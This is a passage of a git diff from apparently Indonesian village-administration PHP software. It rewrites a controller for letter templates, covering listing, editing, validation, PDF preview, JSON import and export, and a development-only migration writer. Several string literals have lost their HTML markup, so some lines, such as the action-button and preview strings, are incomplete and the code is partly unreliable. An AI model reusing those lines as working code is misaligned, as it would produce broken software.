Alamat : RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun), + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + private function pengikutDibawah18Tahun($data) + { + $pengikut = null; + $minUmur = 18; + $kk_level = $data['individu']['kk_level']; + if ($kk_level == SHDKEnum::KEPALA_KELUARGA) { + if (! empty($data['anggota'])) { + $pengikut = $data['anggota']->filter(static function ($item) use ($minUmur) { + return $item->umur < $minUmur; + }); + } + } else { + // cek apakah ada penduduk yang nik_ayah atau nik_ibu = nik pemohon + $filterColumn = 'ibu_nik'; + if ($data['individu']['jenis_kelamin'] == JenisKelaminEnum::LAKI_LAKI) { + $filterColumn = 'ayah_nik'; + } + $anak = Penduduk::where($filterColumn, $data['individu']['nik'])->withoutGlobalScope('App\Scopes\ConfigIdScope')->get(); + if ($anak) { + $pengikut = $anak->filter(static function ($item) use ($minUmur) { + return $item->umur < $minUmur; + }); + } + } + + return $pengikut; + } + + private function pengikutSuratKIS($data) + { + return Penduduk::where(['id_kk' => $data['individu']['id_kk']])->get(); + } + + private function pengikutPindah($data) + { + return Penduduk::where(['id_kk' => $data['individu']['id_kk']])->get(); + } +} diff --git a/donjo-app/controllers/Surat_master.php b/donjo-app/controllers/Surat_master.php index 6dd5d5e3e..979ed4150 100644 --- a/donjo-app/controllers/Surat_master.php +++ b/donjo-app/controllers/Surat_master.php @@ -1,513 +1,983 @@ -load->model(['surat_master_model']); + $this->tinymce = new TinyMCE(); + $this->modul_ini = 'layanan-surat'; + $this->sub_modul_ini = 'pengaturan-surat'; + } + + public function index() + { + return view('admin.pengaturan_surat.index', [ + 'jenisSurat' => FormatSurat::JENIS_SURAT, + ]); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables(FormatSurat::jenis($this->input->get('jenis'))) + ->addColumn('ceklist', static function ($row) { + return ''; + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= 'id}") . '" class="btn btn-warning btn-sm" title="Ubah Data"> '; + + if ($row->kunci) { + $aksi .= 'id}/1") . '" class="btn bg-navy btn-sm" title="Aktifkan Surat"> '; + } else { + $aksi .= 'id}/0") . '" class="btn bg-navy btn-sm" title="Nonaktifkan Surat"> '; + + if ($row->favorit) { + $aksi .= 'id}/1") . '" class="btn bg-purple btn-sm" title="Keluarkan dari Daftar Favorit"> '; + } else { + $aksi .= 'id}/0") . '" class="btn bg-purple btn-sm" title="Tambahkan ke Daftar Favorit"> '; + } + } + } + + if (can('h') && ($row->jenis === 2 || $row->jenis === 4)) { + $aksi .= 'id}") . '" class="btn bg-maroon btn-sm" title="Hapus Data" data-toggle="modal" data-target="#confirm-delete"> '; + } + + return $aksi; + }) + ->addColumn('jenis', static function ($row) { + return in_array($row->jenis, FormatSurat::RTF) ? 'RTF' : 'TinyMCE'; + }) + ->editColumn('lampiran', static function ($row) { + return kode_format($row->lampiran); + }) + ->rawColumns(['ceklist', 'aksi', 'template_surat']) + ->make(); + } + + return show_404(); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $suratMaster = FormatSurat::findOrFail($id); + $kategori_isian = []; + $data['kategori_nama'] = get_key_form_kategori($suratMaster->form_isian); + $filter_kategori = collect($suratMaster->kode_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) { + $kategori_isian[$item->kategori][] = $item; + + return isset($item->kategori); + })->values(); + $data['kategori_isian'] = $kategori_isian; + + $kategori_form = []; + $filter_form = collect($suratMaster->form_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) { + $kategori_nama[] = $item->kategori; + $kategori_isian[$item->kategori][] = $item; + + return isset($item->kategori); + })->values(); + + $data['kategori_isian'] = $kategori_isian; + + $data['kode_isian'] = collect($suratMaster->kode_isian)->reject(static function ($item) { + return isset($item->kategori); + })->values(); + + $kategori_isian = []; + $data['kategori_nama'] = get_key_form_kategori($suratMaster->form_isian); + $filter_kategori = collect($suratMaster->kode_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) { + $kategori_isian[$item->kategori][] = $item; + + return isset($item->kategori); + })->values(); + $data['kategori_isian'] = $kategori_isian; + + $kategori_form = []; + $filter_form = collect($suratMaster->form_isian)->filter(static function ($item) use (&$kategori_nama, &$kategori_isian) { + $kategori_nama[] = $item->kategori; + $kategori_isian[$item->kategori][] = $item; + + return isset($item->kategori); + })->values(); + + $data['kategori_isian'] = $kategori_isian; + + $data['kode_isian'] = collect($suratMaster->kode_isian)->reject(static function ($item) { + return isset($item->kategori); + })->values(); + + $data['action'] = 'Ubah'; + $data['suratMaster'] = $suratMaster; + $data['klasifikasiSurat'] = KlasifikasiSurat::where('kode', $suratMaster->kode_surat)->first(); + + if (in_array($suratMaster->jenis, FormatSurat::RTF)) { + $data['formAction'] = route('surat_master.update', $id); + $data['qrCode'] = QRCodeExist($suratMaster->url_surat); + } else { + $data['formAction'] = route('surat_master.update_baru', $id); + } + } else { + $data['action'] = 'Tambah'; + $data['formAction'] = route('surat_master.insert'); + $data['suratMaster'] = null; + } + + if (in_array($suratMaster->jenis, [3, 4, null])) { + $data['margins'] = json_decode($suratMaster->margin) ?? FormatSurat::MARGINS; + $data['margin_global'] = $suratMaster->margin_global; + $data['orientations'] = FormatSurat::ORIENTATAIONS; + $data['sizes'] = FormatSurat::SIZES; + $data['default_orientations'] = FormatSurat::DEFAULT_ORIENTATAIONS; + $data['default_sizes'] = FormatSurat::DEFAULT_SIZES; + $data['qrCode'] = true; + $data['header'] = $suratMaster->header ?? 1; + $data['footer'] = $suratMaster->footer ?? 1; + $data['daftar_lampiran'] = $this->tinymce->getDaftarLampiran(); + $data['format_nomor'] = $suratMaster->format_nomor; + } + + $data['form_isian'] = $this->form_isian(); + $data['simpan_sementara'] = site_url('surat_master/simpan_sementara'); + $data['masaBerlaku'] = FormatSurat::MASA_BERLAKU; + $data['attributes'] = FormatSurat::ATTRIBUTES; + $data['pengaturanSurat'] = SettingAplikasi::whereKategori('format_surat')->pluck('value', 'key')->toArray(); + + return view('admin.pengaturan_surat.form', $data); + } + + public function apisurat() + { + if ($this->input->is_ajax_request()) { + $cari = $this->input->get('q'); + + $surat = KlasifikasiSurat::select(['kode', 'nama']) + ->when($cari, static function ($query) use ($cari) { + $query->orWhere('kode', 'like', "%{$cari}%") + ->orWhere('nama', 'like', "%{$cari}%"); + }) + ->orderBy('kode') + ->enabled() + ->paginate(10); + + return json([ + 'results' => collect($surat->items()) + ->map(static function ($item) { + return [ + 'id' => $item->kode, + 'text' => $item->kode . ' - ' . $item->nama, + ]; + }), + 'pagination' => [ + 'more' => $surat->currentPage() < $surat->lastPage(), + ], + ]); + } + + return show_404(); + } + + private function form_isian() + { + return [ + 'daftar_jenis_kelamin' => Sex::pluck('nama', 'id'), + 'daftar_status_dasar' => StatusDasar::pluck('nama', 'id'), + 'daftar_shdk' => SHDKEnum::all(), + ]; + } + + public function syaratSuratDatatables($id = null) + { + if ($this->input->is_ajax_request()) { + $suratMaster = FormatSurat::select('syarat_surat')->find($id); + + return datatables(SyaratSurat::query()) + ->addColumn('ceklist', static function ($row) use ($suratMaster) { + $checked = in_array($row->ref_syarat_id, json_decode($suratMaster->syarat_surat)) ? 'checked' : ''; + + return ''; + }) + ->addIndexColumn() + ->rawColumns(['ceklist']) + ->make(); + } + + return show_404(); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if ($this->request['action'] == 'preview') { + $this->preview(); + } + + if (FormatSurat::create(static::validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + + redirect_with('error', 'Gagal Tambah Data'); + } + + public function simpan_sementara() + { + $this->redirect_hak_akses('u'); + $surat = FormatSurat::updateOrCreate(['id' => $this->request['id_surat']], static::validate($this->request)); + if ($surat) { + redirect_with('success', 'Berhasil Simpan Data Sementara', 'surat_master/form/' . $surat->id); + } + + redirect_with('error', 'Gagal Simpan Data'); + } + + public function update_baru($id = null) + { + $this->redirect_hak_akses('u'); + + if ($this->request['action'] == 'preview') { + $this->preview(); + } + + $data = FormatSurat::findOrFail($id); + + if ($data->update(static::validate($this->request, $data->jenis, $id))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + $this->load->model('setting_model'); + + if (! empty($this->request['surat'])) { + $this->surat_master_model->upload($this->request['url_surat']); + } + + $syarat = $this->request['id_cb']; + $mandiri = $this->request['mandiri']; + unset($_POST['id_cb'], $_POST['tabeldata_length'], $_POST['surat']); + + $id = $this->surat_master_model->update($id); + + if (! empty($id) && $mandiri == 1) { + FormatSurat::where('id', $id)->update(['syarat_surat' => json_encode($syarat)]); + } + + redirect_with('success', 'Berhasil Ubah Data'); + } + + private function validate($request = [], $jenis = 4, $id = null) + { + // fix bagian key select-manual + $kodeIsian = null; + $manual_data = array_values(array_filter($request['pilihan_kode'])); + if (count($manual_data) > 0) { + $data = []; + $no = 0; + + for ($i = 0; $i < count($request['tipe_kode']); $i++) { + if ($request['tipe_kode'][$i] == 'select-manual') { + $data[$i] = $manual_data[$no++]; + } + } + } + + for ($i = 0; $i < count($request['tipe_kode']); $i++) { + if (empty($request['tipe_kode'][$i])) { + continue; + } + + $kodeIsian[] = [ + 'tipe' => $request['tipe_kode'][$i], + 'kode' => form_kode_isian($request['nama_kode'][$i]), + 'nama' => $request['nama_kode'][$i], + 'deskripsi' => $request['deskripsi_kode'][$i], + 'required' => $request['required_kode'][$i] ?? '0', + 'atribut' => $request['atribut_kode'][$i] ?: null, + 'pilihan' => null, + 'refrensi' => null, + ]; + + if ($request['tipe_kode'][$i] == 'select-manual') { + $kodeIsian[$i]['pilihan'] = $data[$i]; + } elseif ($request['tipe_kode'][$i] == 'select-otomatis') { + $kodeIsian[$i]['refrensi'] = $request['referensi_kode'][$i]; + } + } + + $formIsian = [ + 'data' => $request['data_utama'] ?? 1, + 'individu' => null, + 'data_orang_tua' => $request['data_orang_tua'] ?? 0, + 'data_pasangan' => $request['data_pasangan'] ?? 0, + ]; + + if ($request['data_utama'] != 2) { + $formIsian['individu'] = [ + 'sex' => $request['individu_sex'] ?? null, + 'status_dasar' => $request['individu_status_dasar'] ?? null, + 'kk_level' => $request['individu_kk_level'] ?? null, + ]; + } + + if (isset($request['kategori'])) { + foreach ($request['kategori'] as $kategori) { + $formIsian[$kategori] = [ + 'data' => $request['kategori_data_utama'][$kategori] ?? 1, + 'sex' => $request['kategori_individu_sex'][$kategori] ?? null, + 'status_dasar' => $request['kategori_status_dasar'][$kategori] ?? null, + 'kk_level' => $request['kategori_individu_kk_level'][$kategori] ?? null, + ]; + $manual_data = array_values(array_filter($request['kategori_pilihan_kode'][$kategori])); + if (count($manual_data) > 0) { + $data = []; + $no = 0; + + for ($i = 0; $i < count($request['kategori_tipe_kode'][$kategori]); $i++) { + if ($request['kategori_tipe_kode'][$kategori][$i] == 'select-manual') { + $data[$i] = $manual_data[$no]; + // benerin data key nya mungkin + $no++; + } + } + } + + for ($i = 0; $i < count($request['kategori_tipe_kode'][$kategori]); $i++) { + if (empty($request['kategori_tipe_kode'][$kategori][$i])) { + continue; + } + $kategori_isian = [ + 'kategori' => $kategori, + 'tipe' => $request['kategori_tipe_kode'][$kategori][$i], + 'kode' => form_kode_isian($request['kategori_nama_kode'][$kategori][$i]), + 'nama' => $request['kategori_nama_kode'][$kategori][$i], + 'deskripsi' => $request['kategori_deskripsi_kode'][$kategori][$i], + 'required' => $request['kategori_required_kode'][$kategori][$i] ?? '0', + 'atribut' => $request['kategori_atribut_kode'][$kategori][$i] ?: null, + 'pilihan' => null, + 'refrensi' => null, + ]; + + if ($request['kategori_tipe_kode'][$kategori][$i] == 'select-manual') { + $kategori_isian['pilihan'] = $data[$i]; + } elseif ($request['kategori_tipe_kode'][$kategori][$i] == 'select-otomatis') { + $kategori_isian['refrensi'] = $request['kategori_referensi_kode'][$kategori][$i]; + } + $kodeIsian[] = $kategori_isian; + } + unset($data); + } + } + $data = [ + 'config_id' => identitas('id'), + 'nama' => nama_surat($request['nama']), + 'kode_surat' => $request['kode_surat'], + 'masa_berlaku' => $request['masa_berlaku'], + 'satuan_masa_berlaku' => $request['satuan_masa_berlaku'], + 'jenis' => $jenis, + 'mandiri' => $request['mandiri'], + 'syarat_surat' => $request['mandiri'] ? json_encode($request['id_cb']) : null, + 'qr_code' => $request['qr_code'], + 'logo_garuda' => $request['logo_garuda'], + 'kecamatan' => (int) ((setting('tte') == StatusEnum::YA) ? $request['kecamatan'] : 0), + 'template_desa' => $request['template_desa'], + 'form_isian' => json_encode($formIsian), + 'kode_isian' => json_encode($kodeIsian), + 'orientasi' => $request['orientasi'], + 'ukuran' => $request['ukuran'], + 'lampiran' => implode(',', $request['lampiran']), + 'header' => (int) $request['header'], + 'footer' => (int) $request['footer'], + 'format_nomor' => $request['format_nomor'], + // 'margin' => $request['format_nomor'] + ]; + + if (null === $id) { + if (in_array($jenis, FormatSurat::RTF)) { + $data['url_surat'] = unique_slug('tweb_surat_format', "surat_{$data['nama']}", $id, 'url_surat', '_'); + } else { + $data['url_surat'] = unique_slug('tweb_surat_format', "surat-{$data['nama']}", $id, 'url_surat', '-'); + } + } + + // Margin + if ($request['margin_global'] == 1) { + $data['margin_global'] = 1; + } else { + $data['margin_global'] = 0; + } + $data['margin'] = json_encode([ + 'kiri' => (float) $request['kiri'], + 'atas' => (float) $request['atas'], + 'kanan' => (float) $request['kanan'], + 'bawah' => (float) $request['bawah'], + ]); + + return $data; + } + + public function kodeIsian($id = null) + { + $suratMaster = FormatSurat::select(['kode_isian'])->first($id) ?? show_404(); + + return view('admin.pengaturan_surat.kode_isian', compact('suratMaster')); + } + + public function kunci($id = null, $val = 0) + { + $this->redirect_hak_akses('u'); + + $favorit = FormatSurat::findOrFail($id); + $favorit->update(['kunci' => ($val == 1) ? 0 : 1]); + + redirect_with('success', 'Berhasil Ubah Data'); + } + + public function favorit($id = null, $val = 0) + { + $this->redirect_hak_akses('u'); + + $favorit = FormatSurat::findOrFail($id); + $favorit->update(['favorit' => ($val == 1) ? 0 : 1]); + + redirect_with('success', 'Berhasil Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if ($this->surat_master_model->delete($id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + public function deleteAll() + { + $this->redirect_hak_akses('h'); + + if ($this->surat_master_model->deleteAll()) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + public function delete_template_desa($url_surat = '') + { + $this->redirect_hak_akses('h'); + + if ($this->surat_master_model->delete_template_desa($url_surat)) { + redirect_with('success', 'Berhasil Hapus Template Desa'); + } + + redirect_with('error', 'Gagal Hapus Template Desa'); + } + + // Tambahkan surat desa jika folder surat tidak ada di surat master + public function perbarui() + { + $this->redirect_hak_akses('u', null, null, true); + + $folderSuratDesa = glob(LOKASI_SURAT_DESA . '*', GLOB_ONLYDIR); + $daftarSurat = []; + + if ($folderSuratDesa) { + foreach ($folderSuratDesa as $surat) { + $url_surat = str_replace(LOKASI_SURAT_DESA, '', $surat); + + // Hanya folder dengan nama depat surat_ yg akan di simpan + if (preg_match('/surat_/i', $url_surat)) { + $surat_baru = underscore(trim(preg_replace('/[^a-zA-Z0-9 \\_]/', ' ', $url_surat)), true, true); + $lokasi_baru = LOKASI_SURAT_DESA . $surat_baru; + + // Ubah nama folder penyimpanan template surat + rename($surat, $lokasi_baru); + + // Ubah nama file surat + rename($lokasi_baru . '/' . $url_surat . '.rtf', $lokasi_baru . '/' . $surat_baru . '.rtf'); + rename($lokasi_baru . '/' . $url_surat . '.php', $lokasi_baru . '/' . $surat_baru . '.php'); + rename($lokasi_baru . '/data_rtf_' . $url_surat . '.php', $lokasi_baru . '/data_rtf_' . $surat_baru . '.php'); + rename($lokasi_baru . '/data_form_' . $url_surat . '.php', $lokasi_baru . '/data_form_' . $surat_baru . '.php'); + + if (! FormatSurat::isExist($url_surat)) { + $data = []; + $data['jenis'] = 2; + $data['nama'] = ucwords(trim(str_replace(['surat_', '_'], ' ', $surat_baru))); + $data['url_surat'] = $surat_baru; + + FormatSurat::create($data); + } + + $daftarSurat[] = $url_surat; + } + } + + // Hapus surat ubahan desa yg sudah tidak ada + FormatSurat::where('jenis', 2)->whereNotIn('url_surat', $daftarSurat)->delete(); + } + + redirect_with('success', 'Berhasil Perbaharui Data'); + } + + public function pengaturan() + { + $data['font_option'] = SettingAplikasi::where('key', '=', 'font_surat')->first()->option; + $data['tte_demo'] = empty($this->setting->tte_api) || get_domain($this->setting->tte_api) === get_domain(APP_URL); + $data['kades'] = User::where('active', '=', 1)->whereHas('pamong', static function ($query) { + return $query->where('jabatan_id', '=', kades()->id); + })->exists(); + $data['sekdes'] = User::where('active', '=', 1)->whereHas('pamong', static function ($query) { + return $query->where('jabatan_id', '=', sekdes()->id); + })->exists(); + $data['aksi'] = route('surat_master.update'); + $data['formAksi'] = route('surat_master.edit_pengaturan'); + $margin = setting('surat_margin'); + $data['margins'] = json_decode($margin) ?? FormatSurat::MARGINS; + + return view('admin.pengaturan_surat.pengaturan', $data); + } + + public function edit_pengaturan() + { + $this->redirect_hak_akses('u'); + $this->load->model('setting_model'); + $data = $this->validasi_pengaturan($this->request); + + foreach ($data as $key => $value) { + SettingAplikasi::where('key', '=', $key)->update(['value' => $value]); + } + + // upload gambar visual tte + if ($_FILES['visual_tte_gambar'] && $_FILES['visual_tte_gambar']['name'] != '') { + $file = $this->setting_model->upload_img('visual_tte_gambar', LOKASI_MEDIA); + SettingAplikasi::where('key', '=', 'visual_tte_gambar')->update(['value' => $file]); //update setting + } + + // Perbarui log_surat jika ada perubahan pengaturan verifikasi kades / sekdes + if (! setting('verifikasi_kades') || ! setting('verifikasi_sekdes')) { + LogSurat::where('verifikasi_operator', LogSurat::PERIKSA)->update(['verifikasi_operator' => LogSurat::TERIMA]); + + redirect_with('success', 'Berhasil Ubah Data dan Perbaharui Log Surat'); + } + + redirect_with('success', 'Berhasil Ubah Data'); + } + + protected static function validasi_pengaturan($request) + { + $validasi = [ + 'tinggi_header' => (float) $request['tinggi_header'], + 'header_surat' => $request['header_surat'], + 'tinggi_footer' => (float) $request['tinggi_footer'], + 'verifikasi_sekdes' => (int) $request['verifikasi_sekdes'], + 'verifikasi_kades' => ((int) $request['tte'] == StatusEnum::YA) ? StatusEnum::YA : (int) $request['verifikasi_kades'], + 'tte' => (int) $request['tte'], + 'font_surat' => alfanumerik_spasi($request['font_surat']), + 'visual_tte' => (int) $request['visual_tte'], + 'visual_tte_weight' => (int) $request['visual_tte_weight'], + 'visual_tte_height' => (int) $request['visual_tte_height'], + 'format_nomor_surat' => $request['format_nomor_surat'], + 'surat_margin' => json_encode($request['surat_margin']), + ]; + + if ($validasi['tte'] == StatusEnum::YA) { + $validasi['footer_surat_tte'] = $request['footer_surat_tte']; + $validasi['tte_api'] = alamat_web($request['tte_api']); + $validasi['tte_username'] = $request['tte_username']; + $validasi['tte_password'] = $request['tte_password']; + } else { + $validasi['footer_surat'] = $request['footer_surat']; + } + + if ($request['visual_tte_gambar'] != null) { + $validasi['visual_tte_gambar'] = $request['visual_tte_gambar']; + } + + return $validasi; + } + + public function kode_isian($jenis = 'isi', $id = null) + { + if ($this->input->is_ajax_request()) { + $log_surat['surat'] = FormatSurat::find($id); + $daftar_kategori = get_key_form_kategori($log_surat['surat']->form_isian); + + foreach ($daftar_kategori as $kategori) { + $log_surat['kategori'][$kategori] = null; + } + + $kode_isian = $this->tinymce->getFormatedKodeIsian($log_surat); + + foreach ($daftar_kategori as $kategori) { + $log_surat['kategori'][$kategori] = null; + } + + $kode_isian = $this->tinymce->getFormatedKodeIsian($log_surat); + + return json($kode_isian); + } + + return show_404(); + } + + public function salin_template($jenis = 'isi') + { + if ($this->input->is_ajax_request()) { + if ($jenis == 'isi') { + $template = $this->tinymce->getTemplateSurat(); + } else { + $template = $this->tinymce->getTemplate(); + } + + return json($template); + } + + return show_404(); + } + + public function preview() + { + $setting_header = $this->request['header'] == StatusEnum::YA ? setting('header_surat') : ''; + $setting_footer = $this->request['footer'] == StatusEnum::YA ? (setting('tte') == StatusEnum::YA ? setting('footer_surat_tte') : setting('footer_surat')) : ''; + $data['isi_surat'] = preg_replace('/\\\\/', '', $setting_header) . '' . ($this->request['template_desa']) . '' . preg_replace('/\\\\/', '', $setting_footer); + + if ($this->request['data_utama'] == 1) { + $data['id_pend'] = Penduduk::filters([ + 'sex' => $this->request['individu_sex'], + 'status_dasar' => $this->request['individu_status_dasar'], + 'kk_level' => $this->request['individu_kk_level'], + ])->first('id')->id; + + if (! $data['id_pend']) { + redirect_with('error', 'Tidak ditemukan penduduk untuk dijadikan contoh'); + } + } else { + $data['nik_non_warga'] = '1234567890123456'; + $data['nama_non_warga'] = 'Nama Non Warga'; + } + + for ($i = 0; $i < count($this->request['tipe_kode']); $i++) { + if (empty($this->request['tipe_kode'][$i])) { + continue; + } + + $kode = $this->request['nama_kode'][$i]; + + if ($this->request['tipe_kode'][$i] == 'select-manual') { + $pilihan = json_decode(preg_replace('/[\r\n\t]/', '', $this->request['pilihan_kode'][$i]), true); + $kode_isian = $pilihan[array_rand($pilihan)]; + } elseif ($this->request['tipe_kode'][$i] == 'select-otomatis') { + $pilihan = ref($this->request['referensi_kode'][$i]); + $kode_isian = $pilihan[array_rand($pilihan)]->nama; + } else { + $kode_isian = 'Masukkan ' . $kode; + } + + $data = case_replace(form_kode_isian($kode), $kode_isian, $data); + } + + $data = str_replace('[JUdul_surat]', strtoupper($this->request['nama']), $data); + $isi_surat = $this->tinymce->replceKodeIsian($data); + + // Manual replace kode isian non warga + $isi_surat = str_replace('[Form_nik_non_wargA]', $data['nik_non_warga'], $isi_surat); + $isi_surat = str_replace('[Form_nama_non_wargA]', $data['nama_non_warga'], $isi_surat); + + // Pisahkan isian surat + $isi_surat = str_replace('

', '', $isi_surat); + $isi = explode('', $isi_surat); + $backtop = $this->request['header'] == 0 ? 0 : (((float) setting('tinggi_header')) * 10) . 'mm'; + $backbottom = $this->request['footer'] == 0 ? 0 : (((float) setting('tinggi_footer')) * 10) . 'mm'; + + $isi_cetak = ' + + + ' . $isi[0] . ' + + + ' . $isi[2] . ' + + + ' . $isi[1] . ' + + '; + + // Logo Surat + $file_logo = ($this->request['logo_garuda'] ? FCPATH . LOGO_GARUDA : gambar_desa(identitas()->logo, false, true)); + + $logo = (is_file($file_logo)) ? 'logo-surat' : ''; + $logo_bsre = str_replace('[logo]', $logo, $isi_cetak); + + // Logo BSrE + $file_logo_bsre = FCPATH . LOGO_BSRE; + $bsre = (is_file($file_logo_bsre) && setting('tte') == 1) ? 'logo-bsre' : ''; + $logo_qrcode = str_replace('[logo_bsre]', $bsre, $logo_bsre); + + // QrCode + $file_qrcode = FCPATH . GAMBAR_QRCODE; + $qrcode = (is_file($file_qrcode)) ? 'logo-surat' : ''; + $gambar_qecode = str_replace('[qr_code]', $qrcode, $logo_qrcode); + + if ($this->request['margin_global'] == 1) { + $margins = setting('surat_margin_cm_to_mm'); + } else { + $margins = [ + $this->request['kiri'] * 10, + $this->request['atas'] * 10, + $this->request['kanan'] * 10, + $this->request['bawah'] * 10, + ]; + } + + try { + $html2pdf = new Html2Pdf($this->request['orientasi'], $this->request['ukuran'], 'en', true, 'UTF-8', $margins); + $html2pdf->pdf->SetTitle($this->request['nama'] . ' (Pratinjau)'); + $html2pdf->setTestTdInOnePage(false); + $html2pdf->setDefaultFont(underscore(setting('font_surat'), true, true)); + $html2pdf->writeHTML($gambar_qecode); + $html2pdf->output(tempnam(sys_get_temp_dir(), '') . '.pdf', 'FI'); + } catch (Html2PdfException $e) { + $html2pdf->clean(); + $formatter = new ExceptionFormatter($e); + log_message('error', $formatter->getHtmlMessage()); + log_message('error', 'belum redirect'); + header('HTTP/1.0 404 ' . str_replace("\n", ' ', $formatter->getMessage())); + + exit(); + } + } + + public function ekspor() + { + $this->redirect_hak_akses('u'); + + $id = $this->request['id_cb']; + + if (null === $id) { + redirect_with('error', 'Tidak ada surat yang dipilih.'); + } + + $ekspor = FormatSurat::jenis(FormatSurat::TINYMCE)->whereIn('id', $id)->get(); + + if ($ekspor->count() === 0) { + redirect_with('error', 'Tidak ada surat TinyMCE yang ditemukan dari pilihan anda.'); + } + + $file_name = namafile('Template Surat TInyMCE') . '.json'; + + $this->output + ->set_header("Content-Disposition: attachment; filename={$file_name}") + ->set_content_type('application/json', 'utf-8') + ->set_output(json_encode($ekspor, JSON_PRETTY_PRINT)); + } + + public function impor() + { + $this->redirect_hak_akses('u'); + + $this->load->library('upload'); + + $config['upload_path'] = sys_get_temp_dir(); + $config['allowed_types'] = 'json'; + $config['overwrite'] = true; + $config['max_size'] = max_upload() * 1024; + $config['file_name'] = 'template_surat_tinymce.json'; + + $this->upload->initialize($config); + + if ($this->upload->do_upload('userfile')) { + $list_data = file_get_contents($this->upload->data()['full_path']); + + $list_data = collect(json_decode($list_data, true))->map(static function ($item) { + return [ + 'nama' => $item['nama'], + 'url_surat' => $item['url_surat'], + 'kode_surat' => $item['kode_surat'], + 'lampiran' => $item['lampiran'], + 'kunci' => $item['kunci'] ? StatusEnum::YA : StatusEnum::TIDAK, + 'favorit' => $item['favorit'] ? StatusEnum::YA : StatusEnum::TIDAK, + 'jenis' => $item['jenis'], + 'mandiri' => $item['mandiri'] ? StatusEnum::YA : StatusEnum::TIDAK, + 'masa_berlaku' => $item['masa_berlaku'], + 'satuan_masa_berlaku' => $item['satuan_masa_berlaku'], + 'qr_code' => $item['qr_code'] ? StatusEnum::YA : StatusEnum::TIDAK, + 'logo_garuda' => $item['logo_garuda'] ? StatusEnum::YA : StatusEnum::TIDAK, + 'syarat_surat' => json_decode($item['syarat_surat'], true), + 'template' => $item['template'], + 'template_desa' => $item['template_desa'], + 'form_isian' => json_encode($item['form_isian']), + 'kode_isian' => json_encode($item['kode_isian']), + 'orientasi' => $item['orientasi'], + 'ukuran' => $item['ukuran'], + 'margin' => $item['margin'], + 'footer' => $item['footer'], + 'header' => $item['header'], + 'created_at' => date('Y-m-d H:i:s'), + 'creted_by' => auth()->id, + 'updated_at' => date('Y-m-d H:i:s'), + 'updated_by' => auth()->id, + ]; + })->toArray(); + + if ($list_data) { + foreach ($list_data as $value) { + FormatSurat::updateOrCreate(['url_surat' => $value['url_surat']], $value); + } + } + + redirect_with('success', 'Berhasil Impor Data'); + } + + redirect_with('error', 'Gagal Impor Data
' . $this->upload->display_errors()); + } + + // Hanya untuk develpment + public function migrasi() + { + if (ENVIRONMENT !== 'development') { + redirect_with('error', 'Hanya untuk development'); + } + + $simpan = FormatSurat::updateOrCreate(['id' => $this->request['id_surat']], static::validate($this->request)); + + // Pilih surat yang akan dibuat migrasinya + $surat = FormatSurat::jenis(FormatSurat::TINYMCE)->find($simpan->id); + + $nama_fuction = 'surat' . str_replace(' ', '', ucwords(str_replace(['_', '(', ')'], ' ', $surat->nama))); + + $kode_isian = json_encode($surat->kode_isian); + $form_isian = json_encode($surat->form_isian); + $template_surat = str_replace(['\/', '\u00a0'], ['/', ' '], json_encode($surat->template_desa ?? $surat->template)); + $qr_code = getVariableName(StatusEnum::class, $surat->qr_code); + $mandiri = getVariableName(StatusEnum::class, $surat->mandiri); + $syarat_surat = $surat->syarat_surat ?: 'null'; + $lampiran = $surat->lampiran ?: 'null'; + + $import = <<<'EOS' + use App\Enums\StatusEnum; + EOS; + + $get_fuction = <<{$nama_fuction}(\$hasil, \$id); + // Jalankan Migrasi TinyMCE + EOS; + + $set_fuction = << '{$surat->nama}', + 'kode_surat' => '{$surat->kode_surat}', + 'masa_berlaku' => {$surat->masa_berlaku}, + 'satuan_masa_berlaku' => '{$surat->satuan_masa_berlaku}', + 'orientasi' => '{$surat->orientasi}', + 'ukuran' => '{$surat->ukuran}', + 'margin' => '{$surat->margin}', + 'qr_code' => StatusEnum::{$qr_code}, + 'kode_isian' => '{$kode_isian}', + 'form_isian' => '{$form_isian}', + 'mandiri' => StatusEnum::{$mandiri}, + 'syarat_surat' => {$syarat_surat}, + 'lampiran' => {$lampiran}, + 'template' => {$template_surat}, + ]; + + return \$hasil && \$this->tambah_surat_tinymce(\$data, \$id); + } + + // Function Migrasi TinyMCE + EOS; + + $file_migrasi = nextVersion(); + + // tentukan migrasi + $migrasi = file_get_contents(APPPATH . 'models/migrations/Migrasi_fitur_premium_' . $file_migrasi . '.php'); + $migrasi = str_replace([ + '// Import TinyMCE', + '// Jalankan Migrasi TinyMCE', + '// Function Migrasi TinyMCE', + ], [ + $import, + $get_fuction, + $set_fuction, + ], $migrasi); + file_put_contents(APPPATH . 'models/migrations/Migrasi_fitur_premium_' . $file_migrasi . '.php', $migrasi); + + if ($simpan) { + redirect_with('success', 'Berhasil Simpan Data Sementara', 'surat_master/form/' . $simpan->id); + } + + redirect_with('error', 'Gagal Simpan Data'); + } +} diff --git a/donjo-app/controllers/Surat_mohon.php b/donjo-app/controllers/Surat_mohon.php index 2892d43fc..615111451 100644 --- a/donjo-app/controllers/Surat_mohon.php +++ b/donjo-app/controllers/Surat_mohon.php @@ -1,505 +1,153 @@ -modul_ini = 'layanan-surat'; + $this->sub_modul_ini = 'daftar-persyaratan'; + } + + public function index() + { + return view('admin.syaratan_surat.index'); + } + + public function datatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(SyaratSurat::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + 